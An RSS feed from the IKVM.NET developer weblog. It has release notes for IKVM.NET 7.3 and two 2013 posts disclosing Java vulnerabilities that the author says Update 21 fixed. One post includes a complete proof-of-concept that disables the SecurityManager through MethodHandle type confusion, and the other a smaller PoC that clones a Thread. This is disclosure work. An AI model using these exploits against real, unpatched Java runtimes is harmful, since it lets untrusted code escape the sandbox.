<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:pingback="http://madskills.com/public/xml/rss/module/pingback/" version="2.0">
  <channel>
    <title>IKVM.NET Weblog</title>
    <link>http://weblog.ikvm.net/</link>
    <description>The development of a Java VM for .NET</description>
    <copyright>Jeroen Frijters</copyright>
    <lastBuildDate>Thu, 18 Apr 2013 06:55:58 GMT</lastBuildDate>
    <generator>newtelligence dasBlog 1.5.3337.0</generator>
    <managingEditor>blog@jeroen.nu</managingEditor>
    <webMaster>blog@jeroen.nu</webMaster>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=32db7dc2-ea2d-4113-86a1-164cd78f904f</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=32db7dc2-ea2d-4113-86a1-164cd78f904f</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=32db7dc2-ea2d-4113-86a1-164cd78f904f</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=32db7dc2-ea2d-4113-86a1-164cd78f904f</wfw:commentRss>
      <slash:comments>2</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      Yesterday I wrote about the security issue fixed in <a href="http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html">Update
      21</a>. Today I'll describe the "Security-In-Depth" issue.
   </p>
        <p>
      As a result of the <a href="/PermaLink.aspx?guid=23cced47-ccdb-460d-acc9-ce16154ab6a5">Thread
      Cloning Vulnerability</a>, Oracle removed honoring the absense of <a href="/PermaLink.aspx?guid=99fcff6c-8ab7-4358-9467-ddf71dd20acd">ACC_SUPER</a> from
      HotSpot in <a href="http://www.oracle.com/technetwork/topics/security/javacpufeb2013-1841061.html">Update
      13</a>. The HotSpot patch can be seen <a href="http://hg.openjdk.java.net/jdk7u/jdk7u/hotspot/rev/db7028c8a953">here</a>.
   </p>
        <p>
      Again, while working on IKVM's dynamic binding, I found that it was still possible
      to do a non-virtual invocation of an overridden method by using a MethodHandle. This
      was fixed in Update 21.
   </p>
        <p>
      Here's an example that uses <a href="https://blogs.oracle.com/jrose/entry/a_modest_tool_for_writing">Indify</a> to
      generate the MethodHandle constants and manages to call Object.clone() on a Thread
      object on Update 13:
   </p>
        <code>import java.lang.invoke.*;<br /><br />
   class test extends Thread implements Cloneable {<br />
     public static void main(String[] args) throws Throwable {<br />
       test obj = new test();<br />
       System.out.println(obj == MH_1().invokeExact(obj));<br />
     }<br /><br />
     private static MethodHandle MH_1() throws Throwable {<br />
       return MethodHandles.lookup().findSpecial(Object.class, "clone",
   MethodType.methodType(Object.class), test.class);<br />
     }<br />
   }</code>
        <p>
      You can compile and run this without Indify and it will show the problem (on versions
      before Update 21), but you need to run Indify to make it work with an active SecurityManager.
   </p>
        <p>
      The difference between looking up method handles via the API versus using MethodHandle
      constants is analogous to the difference between normal bytecode method invocation
      and classic reflection. When going via the API the SecurityManager is involved, but
      the runtime linker does not call the SecurityManager. MethodHandle constants (when
      they are properly implemented) don't allow you to do anything that normal bytecode
      can't do. This is why the claim made by Security Explorations about <a href="http://seclists.org/fulldisclosure/2013/Mar/167">Issue
      54</a> was incorrect.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=32db7dc2-ea2d-4113-86a1-164cd78f904f" />
      </body>
      <title>The End of ACC_SUPER</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=32db7dc2-ea2d-4113-86a1-164cd78f904f</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=32db7dc2-ea2d-4113-86a1-164cd78f904f</link>
      <pubDate>Thu, 18 Apr 2013 06:55:58 GMT</pubDate>
      <description>&lt;p&gt;
   Yesterday I wrote about the security issue fixed in &lt;a href="http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html"&gt;Update
   21&lt;/a&gt;. Today I'll describe the "Security-In-Depth" issue.
&lt;/p&gt;
&lt;p&gt;
   As a result of the &lt;a href="/PermaLink.aspx?guid=23cced47-ccdb-460d-acc9-ce16154ab6a5"&gt;Thread
   Cloning Vulnerability&lt;/a&gt;, Oracle removed honoring the absense of &lt;a href="/PermaLink.aspx?guid=99fcff6c-8ab7-4358-9467-ddf71dd20acd"&gt;ACC_SUPER&lt;/a&gt; from
   HotSpot in &lt;a href="http://www.oracle.com/technetwork/topics/security/javacpufeb2013-1841061.html"&gt;Update
   13&lt;/a&gt;. The HotSpot patch can be seen &lt;a href="http://hg.openjdk.java.net/jdk7u/jdk7u/hotspot/rev/db7028c8a953"&gt;here&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
   Again, while working on IKVM's dynamic binding, I found that it was still possible
   to do a non-virtual invocation of an overridden method by using a MethodHandle. This
   was fixed in Update 21.
&lt;/p&gt;
&lt;p&gt;
   Here's an example that uses &lt;a href="https://blogs.oracle.com/jrose/entry/a_modest_tool_for_writing"&gt;Indify&lt;/a&gt; to
   generate the MethodHandle constants and manages to call Object.clone() on a Thread
   object on Update 13:
&lt;/p&gt;
&lt;code&gt;import java.lang.invoke.*;&lt;br&gt;
&lt;br&gt;
class test extends Thread implements Cloneable {&lt;br&gt;
&amp;nbsp; public static void main(String[] args) throws Throwable {&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; test obj = new test();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(obj == MH_1().invokeExact(obj));&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
&lt;br&gt;
&amp;nbsp; private static MethodHandle MH_1() throws Throwable {&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; return MethodHandles.lookup().findSpecial(Object.class, "clone",
MethodType.methodType(Object.class), test.class);&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
}&lt;/code&gt; 
&lt;p&gt;
   You can compile and run this without Indify and it will show the problem (on versions
   before Update 21), but you need to run Indify to make it work with an active SecurityManager.
&lt;/p&gt;
&lt;p&gt;
   The difference between looking up method handles via the API versus using MethodHandle
   constants is analogous to the difference between normal bytecode method invocation
   and classic reflection. When going via the API the SecurityManager is involved, but
   the runtime linker does not call the SecurityManager. MethodHandle constants (when
   they are properly implemented) don't allow you to do anything that normal bytecode
   can't do. This is why the claim made by Security Explorations about &lt;a href="http://seclists.org/fulldisclosure/2013/Mar/167"&gt;Issue
   54&lt;/a&gt; was incorrect.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=32db7dc2-ea2d-4113-86a1-164cd78f904f"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=32db7dc2-ea2d-4113-86a1-164cd78f904f</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=acd2dd6d-1028-4996-95df-efa42ac237f0</wfw:commentRss>
      <slash:comments>1</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      While I was working on rewriting IKVM's <a href="/PermaLink.aspx?guid=467b6c9e-d9f6-4c6f-8de0-10c4f30ec5a9">dynamic
      binding</a> support based on method handles I <a href="https://twitter.com/JeroenFrijters/status/308622196518047745">stumbled</a> into
      a rather serious bug in the Oracle Java implementation. It allowed any code to overwrite
      public final fields. This has been fixed in <a href="http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html">Update
      21</a>.
   </p>
        <p>
      Below is a proof of concept that disables the security manager. It works by changing <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Double.html#TYPE">Double.TYPE</a> to <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Integer.html#TYPE">Integer.TYPE</a> and
      then using reflection to copy an integer field from one object to another, but because
      of the patched TYPE fields reflection thinks the integer field is a double and copies
      8 bytes instead of 4.
   </p>
        <code>import java.lang.invoke.MethodHandle;<br />
   import java.lang.reflect.Field;<br />
   import static java.lang.invoke.MethodHandles.lookup;<br /><br />
   class Union1 {<br />
     int field1;<br />
     Object field2;<br />
   }<br /><br />
   class Union2 {<br />
     int field1;<br />
     SystemClass field2;<br />
   }<br /><br />
   class SystemClass {<br />
     Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,<br />
       f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23,<br />
       f24,f25,f26,f27,f28,f29,f30;<br />
   }<br /><br />
   class PoC {<br />
     public static void main(String[] args) throws Throwable {<br />
       System.out.println(System.getSecurityManager());<br />
       disableSecurityManager();<br />
       System.out.println(System.getSecurityManager());<br />
     }<br /><br />
     static void disableSecurityManager() throws Throwable {<br />
       MethodHandle mh1, mh2;<br />
       mh1 = lookup().findStaticSetter(Double.class, "TYPE", Class.class);<br />
       mh2 = lookup().findStaticSetter(Integer.class, "TYPE", Class.class);<br />
       Field fld1 = Union1.class.getDeclaredField("field1");<br />
       Field fld2 = Union2.class.getDeclaredField("field1");<br />
       Class classInt = int.class;<br />
       Class classDouble = double.class;<br />
       mh1.invokeExact(int.class);<br />
       mh2.invokeExact((Class)null);<br />
       Union1 u1 = new Union1();<br />
       u1.field2 = System.class;<br />
       Union2 u2 = new Union2();<br />
       fld2.set(u2, fld1.get(u1));<br />
       mh1.invokeExact(classDouble);<br />
       mh2.invokeExact(classInt);<br />
       if (u2.field2.f29 == System.getSecurityManager()) {<br />
         u2.field2.f29 = null;<br />
       } else if (u2.field2.f30 == System.getSecurityManager()) {<br />
         u2.field2.f30 = null;<br />
       } else {<br />
         System.out.println("security manager field not found");<br />
       }<br />
     }<br />
   } </code>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=acd2dd6d-1028-4996-95df-efa42ac237f0" />
      </body>
      <title>Java 7 Update 21</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0</link>
      <pubDate>Wed, 17 Apr 2013 06:00:08 GMT</pubDate>
      <description>&lt;p&gt;
   While I was working on rewriting IKVM's &lt;a href="/PermaLink.aspx?guid=467b6c9e-d9f6-4c6f-8de0-10c4f30ec5a9"&gt;dynamic
   binding&lt;/a&gt; support based on method handles I &lt;a href="https://twitter.com/JeroenFrijters/status/308622196518047745"&gt;stumbled&lt;/a&gt; into
   a rather serious bug in the Oracle Java implementation. It allowed any code to overwrite
   public final fields. This has been fixed in &lt;a href="http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html"&gt;Update
   21&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
   Below is a proof of concept that disables the security manager. It works by changing &lt;a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Double.html#TYPE"&gt;Double.TYPE&lt;/a&gt; to &lt;a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Integer.html#TYPE"&gt;Integer.TYPE&lt;/a&gt; and
   then using reflection to copy an integer field from one object to another, but because
   of the patched TYPE fields reflection thinks the integer field is a double and copies
   8 bytes instead of 4.
&lt;/p&gt;
&lt;code&gt;import java.lang.invoke.MethodHandle;&lt;br&gt;
import java.lang.reflect.Field;&lt;br&gt;
import static java.lang.invoke.MethodHandles.lookup;&lt;br&gt;
&lt;br&gt;
class Union1 {&lt;br&gt;
&amp;nbsp; int field1;&lt;br&gt;
&amp;nbsp; Object field2;&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
class Union2 {&lt;br&gt;
&amp;nbsp; int field1;&lt;br&gt;
&amp;nbsp; SystemClass field2;&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
class SystemClass {&lt;br&gt;
&amp;nbsp; Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23,&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; f24,f25,f26,f27,f28,f29,f30;&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
class PoC {&lt;br&gt;
&amp;nbsp; public static void main(String[] args) throws Throwable {&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(System.getSecurityManager());&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; disableSecurityManager();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(System.getSecurityManager());&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
&lt;br&gt;
&amp;nbsp; static void disableSecurityManager() throws Throwable {&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; MethodHandle mh1, mh2;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; mh1 = lookup().findStaticSetter(Double.class, "TYPE", Class.class);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; mh2 = lookup().findStaticSetter(Integer.class, "TYPE", Class.class);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Field fld1 = Union1.class.getDeclaredField("field1");&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Field fld2 = Union2.class.getDeclaredField("field1");&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Class classInt = int.class;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Class classDouble = double.class;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; mh1.invokeExact(int.class);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; mh2.invokeExact((Class)null);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Union1 u1 = new Union1();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; u1.field2 = System.class;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Union2 u2 = new Union2();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; fld2.set(u2, fld1.get(u1));&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; mh1.invokeExact(classDouble);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; mh2.invokeExact(classInt);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; if (u2.field2.f29 == System.getSecurityManager()) {&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; u2.field2.f29 = null;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; } else if (u2.field2.f30 == System.getSecurityManager()) {&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; u2.field2.f30 = null;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; } else {&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println("security manager field not found");&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
} &lt;/code&gt;&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=acd2dd6d-1028-4996-95df-efa42ac237f0"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=f3c13712-e52a-41c4-b6d9-073617f04c90</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=f3c13712-e52a-41c4-b6d9-073617f04c90</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=f3c13712-e52a-41c4-b6d9-073617f04c90</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=f3c13712-e52a-41c4-b6d9-073617f04c90</wfw:commentRss>
      <slash:comments>4</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      The first release candidate is available. It can be downloaded here or from <a href="https://nuget.org/packages/IKVM/7.3.4830.0">NuGet</a>.
   </p>
        <p>
      What's New (relative to <a href="/PermaLink.aspx?guid=926e3554-259e-49a6-82fc-459fbd61ac19">IKVM.NET
      7.2</a>):
   </p>
        <ul>
          <li>
         Greatly improved support for dynamically loading classes in statically compiled assembly
         class loaders.</li>
          <li>
         Changed ikvmc to default to using runtime binding when a class is not available at
         compile time.</li>
          <li>
         Fixed ikvmc to use jar class loading that matches the runtime.</li>
          <li>
         The runtime now projects stub classes into the (virtual file system) jars they came
         from.</li>
          <li>
         Runtime stub classes are now generated by the same code as ikvmstub uses.</li>
          <li>
         Fixed a typo in ikvm.runtime.Startup.addBootClassPathAssembly() method name. 
      </li>
          <li>
         Fixed memory model bugs on ARM.</li>
          <li>
         Many bug fixes.</li>
          <li>
         Improved ikvmc error messages.</li>
          <li>
         Deprecated using stub classes with ikvmc.</li>
          <li>
         Added IKVM.Attributes.JavaResourceAttribute to allow .NET resource to be exposed to
         Java.</li>
          <li>
         Font API improvements.</li>
          <li>
         Graphics API improvements.</li>
          <li>
         Support building IKVM.NET on .NET 4.5, but targetting .NET 4.0.</li>
        </ul>
        <p>
      Changes since previous development snapshot:
   </p>
        <ul>
          <li>
         Volatile long/double fields should not use slow reflection.</li>
          <li>
         Reduce complexity of annotation custom attributes construction to improve performance
         and lower risk (for broken apps that should have used ReflectionOnly).</li>
          <li>
         Removed accidentally public methods from ikvm.internal.AnnotationAttributeBase.</li>
          <li>
         Fixed ikvm.internal.AnnotationAttributeBase to freeze in writeReplace/Equals/GetHashCode/ToString.</li>
        </ul>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-7.3.4830.0.zip">ikvmbin-7.3.4830.0.zip</a></p>
        <p>
      Sources: <a href="http://www.frijters.net/ikvmsrc-7.3.4830.0.zip">ikvmsrc-7.3.4830.0.zip</a>, <a href="http://www.frijters.net/openjdk-7u6-b24-stripped.zip">openjdk-7u6-b24-stripped.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=f3c13712-e52a-41c4-b6d9-073617f04c90" />
      </body>
      <title>IKVM.NET 7.3 Release Candidate 0</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=f3c13712-e52a-41c4-b6d9-073617f04c90</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=f3c13712-e52a-41c4-b6d9-073617f04c90</link>
      <pubDate>Thu, 28 Mar 2013 08:27:31 GMT</pubDate>
      <description>&lt;p&gt;
   The first release candidate is available. It can be downloaded here or from &lt;a href="https://nuget.org/packages/IKVM/7.3.4830.0"&gt;NuGet&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
   What's New (relative to &lt;a href="/PermaLink.aspx?guid=926e3554-259e-49a6-82fc-459fbd61ac19"&gt;IKVM.NET
   7.2&lt;/a&gt;):
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Greatly improved support for dynamically loading classes in statically compiled assembly
      class loaders.&lt;/li&gt;
   &lt;li&gt;
      Changed ikvmc to default to using runtime binding when a class is not available at
      compile time.&lt;/li&gt;
   &lt;li&gt;
      Fixed ikvmc to use jar class loading that matches the runtime.&lt;/li&gt;
   &lt;li&gt;
      The runtime now projects stub classes into the (virtual file system) jars they came
      from.&lt;/li&gt;
   &lt;li&gt;
      Runtime stub classes are now generated by the same code as ikvmstub uses.&lt;/li&gt;
   &lt;li&gt;
      Fixed a typo in ikvm.runtime.Startup.addBootClassPathAssembly() method name. 
   &lt;/li&gt;
   &lt;li&gt;
      Fixed memory model bugs on ARM.&lt;/li&gt;
   &lt;li&gt;
      Many bug fixes.&lt;/li&gt;
   &lt;li&gt;
      Improved ikvmc error messages.&lt;/li&gt;
   &lt;li&gt;
      Deprecated using stub classes with ikvmc.&lt;/li&gt;
   &lt;li&gt;
      Added IKVM.Attributes.JavaResourceAttribute to allow .NET resource to be exposed to
      Java.&lt;/li&gt;
   &lt;li&gt;
      Font API improvements.&lt;/li&gt;
   &lt;li&gt;
      Graphics API improvements.&lt;/li&gt;
   &lt;li&gt;
      Support building IKVM.NET on .NET 4.5, but targetting .NET 4.0.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Changes since previous development snapshot:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Volatile long/double fields should not use slow reflection.&lt;/li&gt;
   &lt;li&gt;
      Reduce complexity of annotation custom attributes construction to improve performance
      and lower risk (for broken apps that should have used ReflectionOnly).&lt;/li&gt;
   &lt;li&gt;
      Removed accidentally public methods from ikvm.internal.AnnotationAttributeBase.&lt;/li&gt;
   &lt;li&gt;
      Fixed ikvm.internal.AnnotationAttributeBase to freeze in writeReplace/Equals/GetHashCode/ToString.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-7.3.4830.0.zip"&gt;ikvmbin-7.3.4830.0.zip&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   Sources: &lt;a href="http://www.frijters.net/ikvmsrc-7.3.4830.0.zip"&gt;ikvmsrc-7.3.4830.0.zip&lt;/a&gt;, &lt;a href="http://www.frijters.net/openjdk-7u6-b24-stripped.zip"&gt;openjdk-7u6-b24-stripped.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=f3c13712-e52a-41c4-b6d9-073617f04c90"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=f3c13712-e52a-41c4-b6d9-073617f04c90</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=8ccca407-5de2-4560-9d3b-5aba01bb0e62</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=8ccca407-5de2-4560-9d3b-5aba01bb0e62</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=8ccca407-5de2-4560-9d3b-5aba01bb0e62</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=8ccca407-5de2-4560-9d3b-5aba01bb0e62</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      My burst of inspiration ended. So I guess it's time to do a release soon.
   </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Expose Java 8 static interface methods as static methods via nested __Methods type.</li>
          <li>
         Expose Java 8 default interface methods as static methods via nested __DefaultMethods
         type.</li>
          <li>
         Build fix. When doing a clean build the two generated Java source files don't exist
         yet, so we process the .in files instead.</li>
          <li>
         Added nuget package creation build file.</li>
        </ul>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-7.3.4826.zip">ikvmbin-7.3.4826.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=8ccca407-5de2-4560-9d3b-5aba01bb0e62" />
      </body>
      <title>New Development Snapshot</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=8ccca407-5de2-4560-9d3b-5aba01bb0e62</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=8ccca407-5de2-4560-9d3b-5aba01bb0e62</link>
      <pubDate>Tue, 19 Mar 2013 11:28:00 GMT</pubDate>
      <description>&lt;p&gt;
   My burst of inspiration ended. So I guess it's time to do a release soon.
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Expose Java 8 static interface methods as static methods via nested __Methods type.&lt;/li&gt;
   &lt;li&gt;
      Expose Java 8 default interface methods as static methods via nested __DefaultMethods
      type.&lt;/li&gt;
   &lt;li&gt;
      Build fix. When doing a clean build the two generated Java source files don't exist
      yet, so we process the .in files instead.&lt;/li&gt;
   &lt;li&gt;
      Added nuget package creation build file.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-7.3.4826.zip"&gt;ikvmbin-7.3.4826.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=8ccca407-5de2-4560-9d3b-5aba01bb0e62"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=8ccca407-5de2-4560-9d3b-5aba01bb0e62</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=467b6c9e-d9f6-4c6f-8de0-10c4f30ec5a9</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=467b6c9e-d9f6-4c6f-8de0-10c4f30ec5a9</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=467b6c9e-d9f6-4c6f-8de0-10c4f30ec5a9</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=467b6c9e-d9f6-4c6f-8de0-10c4f30ec5a9</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      I'm still working on issues resulting from <a href="/PermaLink.aspx?guid=42729fb3-af19-4249-a9c1-88f1a82874e3">the
      big change</a>. There are some more known issues and probably a few unknown ones.
      However, I couldn't help myself and decided to a little bit of work on Java 8 support.
      If you define the IKVM_EXPERIMENTAL_JDK_8 environment variable, you can now run Java
      8 class files that use the new static and default interface method features.
   </p>
        <p>
      There is no interop with other .NET languages yet, so you won't be able to call static
      interface methods from (e.g.) C# or take advantage of default interface method implementations.
      The interop story for default interface methods isn't going to be great even when
      it is done. You'll have to manually call the default methods in your C# code. Something
      like this:
   </p>
        <p>
          <code>class MyCSharpClass : SomeJavaInterface {<br />
         public void method() {<br />
            SomeJavaInterface.__DefaultMethods.method(this);<br />
         }<br />
      }</code>
        </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Optimized some dynamic binding operations. 
      </li>
          <li>
         Switched dynamic field binding to method handles. 
      </li>
          <li>
         Removed "effectively final" optimization because it breaks the ability to dynamically
         load subclasses. 
      </li>
          <li>
         Added experimental support for static methods in interfaces (for Java 8 class files). 
      </li>
          <li>
         Added experimental support for default interfaces methods (for Java 8 class files). 
      </li>
          <li>
         Fixed an ikvmc crash when a member is accessed on a type from a missing assembly. 
      </li>
          <li>
         Fixed transparency artefact with AlphaComposite.Src and and anti-aliased text. 
      </li>
          <li>
         Bug fix. Don't implement interfaces that aren't accessible. 
      </li>
          <li>
         Changed TextArea peer from TextBox to RichTextBox (to handle LF correctly) and implemented
         replaceRange. 
      </li>
          <li>
         Tweaked f2i, f2l, d2i and d2l bytecodes to be a bit faster in the common case.</li>
        </ul>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-7.3.4817.zip">ikvmbin-7.3.4817.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=467b6c9e-d9f6-4c6f-8de0-10c4f30ec5a9" />
      </body>
      <title>New Development Snapshot</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=467b6c9e-d9f6-4c6f-8de0-10c4f30ec5a9</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=467b6c9e-d9f6-4c6f-8de0-10c4f30ec5a9</link>
      <pubDate>Mon, 11 Mar 2013 07:35:25 GMT</pubDate>
      <description>&lt;p&gt;
   I'm still working on issues resulting from &lt;a href="/PermaLink.aspx?guid=42729fb3-af19-4249-a9c1-88f1a82874e3"&gt;the
   big change&lt;/a&gt;. There are some more known issues and probably a few unknown ones.
   However, I couldn't help myself and decided to a little bit of work on Java 8 support.
   If you define the IKVM_EXPERIMENTAL_JDK_8 environment variable, you can now run Java
   8 class files that use the new static and default interface method features.
&lt;/p&gt;
&lt;p&gt;
   There is no interop with other .NET languages yet, so you won't be able to call static
   interface methods from (e.g.) C# or take advantage of default interface method implementations.
   The interop story for default interface methods isn't going to be great even when
   it is done. You'll have to manually call the default methods in your C# code. Something
   like this:
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;class MyCSharpClass : SomeJavaInterface {&lt;br&gt;
   &amp;nbsp;&amp;nbsp; public void method() {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SomeJavaInterface.__DefaultMethods.method(this);&lt;br&gt;
   &amp;nbsp;&amp;nbsp; }&lt;br&gt;
   }&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
